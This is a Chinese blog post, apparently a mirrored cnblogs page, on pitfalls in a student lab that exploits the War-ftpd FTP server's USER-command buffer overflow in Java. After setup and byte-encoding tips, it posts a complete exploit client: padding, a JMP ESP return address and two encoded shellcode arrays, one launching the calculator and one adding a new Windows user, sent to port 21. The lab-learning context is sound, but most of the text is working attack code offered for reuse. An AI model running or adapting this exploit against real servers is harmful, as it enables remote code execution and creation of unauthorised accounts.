zoukankan      html  css  js  c++  java
  • War-ftpd USER longString漏洞攻击之Java实现常见问题

      发表这篇文章的最重要原因是,在用Java实现War-ftpd缓冲区溢出实验时,我遇到了很多问题,而且我认为这些问题

    都是非常不容易发现和解决的,为了以后学习的同学的便利,此处写下自己遇到的问题作为分享。

    @1:不管是通过cdb挂起还是通过直接双击打开War-ftpd都会出现“Unknown file format for user database”的弹窗,

    解决方法:删除掉FtpDaemon.dat文件。

    @2:如果在C:Documents and SettingsAdministrator目录(CMD默认目录)下执行"C:Program FilesDebugging

    Tools for Windowscdb.exe" "C:lxw_Exp2War-ftpdwar-ftpd.exe"命令,则会始终出现(即使是删除掉C:lxw_E

    xp2War-ftpd FtpDaemon.dat文件)“Unknown file format for user database”的弹窗。

    解决方法:通过绝对路径访问程序(对于通过环境变量调用cdb.exe程序和war-ftpd.exe也会存在这样的问题),

    程序运行的一些文件(FtpDaemon.dat文件)会保留在当前目录下(也就是C:Documents and SettingsAdministrator

    目录下),所以需要将该目录下的FtpDaemon.dat文件一同删掉。

    @3:最初在实现该实验程序部分时,实验能够使War-ftpd发生缓冲区溢出的错误,但EIP和ESP的值在cdb调试时总是会出现

    问题,不能够吻合,所以也就无法成功的执行shellCode。如果以String类型的变量存储要发送的字符串,例如:

    String str ="USER ";
    //攻击代码构建:
    //0-484
    for(int i = 0; i < 485; ++i)
    {
        str += (char)0x41;
    }
    str += (char)0x12;
    str += (char)0x45;
    str += (char)0xfa;
    str += (char)0x7f; //7ffa4512
    …
    OutputStream os = client.getOutputStream();
    os.write(str.getBytes());

    则发送的JMP ESP部分的16进制变为5个字节不再是4个字节【这儿一定要注意】。

    所以也就导致了JMP ESP地址覆盖到RET不成功,也就导致了虽然War-ftpd成功的溢出,但shellCode却不能被成功的执行。

    解决方法:全部的数据(USER + 填充字符 + 0x7ffa4512 + 填充字符 + shellcode + “ ”)【直接采用byte数组的

    形式】进行发送。

    @4:发送的byte数组最后一个字符必须是字符‘ ’对应的byte型数据,否则将不能成功的使shellCode被执行,实际上是连

    War-ftpd都没有发生溢出。这个问题比较不容易发现。

    -----------------------------------2014.11.22 补充--------------------------------------------------------

      非常高兴这篇博客能够帮到一些同学,在这里把我的代码贴上来,仅供大家参考:

    import java.net.* ;
    import java.io.* ;
    import java.util.Scanner;
    public class Client
    {
        public static void main(String args[]) throws Exception 
        {    
            InetAddress inet3 = InetAddress.getLocalHost();
            //获得对象中存储的IP
            String ipAddr = inet3.getHostAddress();    
            Socket client = new Socket(ipAddr, 21) ;    //客户端        
            byte[] be = new byte[1000];
                    
            //攻击代码构建:
            //0-484
            int i = 0;
            be[i++] = 'U';
            be[i++] = 'S';
            be[i++] = 'E';
            be[i++] = 'R';
            be[i++] = ' ';
            
            for(i = 5; i < 490; ++i)
            {
                be[i] = 'A';
            }
            
            be[i++] = (byte)0x12;
            be[i++] = (byte)0x45;
            be[i++] = (byte)0xfa;
            be[i++] = (byte)0x7f;         //0x7ffa4512
    
            for(int j = 0; j < 4; ++j)
            {
                be[i++] = 'B';
            }
    
            //打开计算器的shellCode
            byte ch1[] = 
    {
    (byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x58,(byte)0x45,(byte)0x34,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x37,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x31,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x45,(byte)0x42,(byte)0x52,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x54,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x53,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x30,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x59,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x53,(byte)0x46,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x37,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x46,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x41,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x35,(byte)0x46,(byte)0x52,(byte)0x46,(byte)0x50,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x56,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x34,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x37,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x54,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x31,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x48,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x48,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x36,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x55,(byte)0x41,(byte)0x53,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x46,(byte)0x48,(byte)0x45,(byte)0x49,(byte)0x48,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x58,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x55,(byte)0x4a,(byte)0x56,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x46,(byte)0x30,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x55,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x56,(byte)0x41,(byte)0x46,(byte)0x4e,(byte)0x36,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x30,(byte)0x5a
    };
            
            //创建新用户的shellcode
            byte ch2[] = 
    {
    (byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x45,(byte)0x54,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x57,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x35,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x44,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x43,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x50,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x39,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x33,(byte)0x46,(byte)0x55,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x47,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x36,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x30,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x51,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x58,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x46,(byte)0x30,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x43,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x36,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x48,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x47,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x34,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x41,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x58,(byte)0x4a,(byte)0x36,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x38,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x46,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x35,(byte)0x41,(byte)0x43,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x56,(byte)0x48,(byte)0x35,(byte)0x49,(byte)0x58,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x45,(byte)0x4a,(byte)0x46,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x46,(byte)0x50,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x35,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x36,(byte)0x4d,(byte)0x56,(byte)0x46,(byte)0x56,(byte)0x50,(byte)0x52,(byte)0x45,(byte)0x36,(byte)0x4a,(byte)0x57,(byte)0x45,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x56,(byte)0x45,(byte)0x46,(byte)0x46,(byte)0x57,(byte)0x42,(byte)0x42,(byte)0x45,(byte)0x57,(byte)0x43,(byte)0x37,(byte)0x45,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x42,(byte)0x32,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x53,(byte)0x44,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x36,(byte)0x42,(byte)0x53,(byte)0x42,(byte)0x43,(byte)0x44,(byte)0x36,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x42,(byte)0x48,(byte)0x32,(byte)0x48,(byte)0x52,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x36,(byte)0x45,(byte)0x56,(byte)0x46,(byte)0x47,(byte)0x42,(byte)0x52,(byte)0x4e,(byte)0x56,(byte)0x4f,(byte)0x36,(byte)0x43,(byte)0x36,(byte)0x41,(byte)0x56,(byte)0x4e,(byte)0x56,(byte)0x47,(byte)0x56,(byte)0x44,(byte)0x57,(byte)0x4f,(byte)0x56,(byte)0x45,(byte)0x47,(byte)0x42,(byte)0x37,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x46,(byte)0x4d,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x50,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x43,(byte)0x57,(byte)0x46,(byte)0x57,(byte)0x44,(byte)0x37,(byte)0x41,(byte)0x56,(byte)0x46,(byte)0x37,(byte)0x4f,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x43,(byte)0x47,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x33,(byte)0x44,(byte)0x46,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x52,(byte)0x41,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x30,(byte)0x5a
    };
    
            System.out.println("
    War-ftpd缓冲区溢出攻击开始!
    ");
            System.out.println("请选择攻击操作:(1.打开计算器	2.添加用户)
    ");
            Scanner sc = new Scanner(System.in);
            int num = sc.nextInt();
            switch(num)
            {
                case 1:
                {
                    int length = ch1.length;
                    for(int j = 0; j < length; ++j)
                    {
                        be[i++] = ch1[j];
                    }            
                }
                break;    
                case 2:
                {
    
                    int length = ch2.length;
                    for(int j = 0; j < length; ++j)
                    {
                        be[i++] = ch2[j];
                    }
                }
                break;
            }
            be[i++] = '
    ';
            be[i++] = '
    ';    
            //最终的攻击代码
            byte [] b = new byte[i];
            for(int j = 0; j < i; ++j)
            {
                //System.out.print(be[j] + "	");
                b[j] = be[j];
            }
                    
             OutputStream os = client.getOutputStream();
            os.write(b);
            os.flush();
            os.close();
            client.close();
            System.out.println("
    War-ftpd缓冲区溢出攻击结束!
    ");
        }
    };
  • 相关阅读:
    104.Maximum Depth of Binary Tree
    103.Binary Tree Zigzag Level Order Traversal
    102.Binary Tree Level Order Traversal
    101.Symmetric Tree
    100.Same Tree
    99.Recover Binary Search Tree
    98.Validate Binary Search Tree
    97.Interleaving String
    static静态初始化块
    serialVersionUID作用
  • 原文地址:https://www.cnblogs.com/lxw0109/p/War_ftpd.html
Copyright © 2011-2022 走看看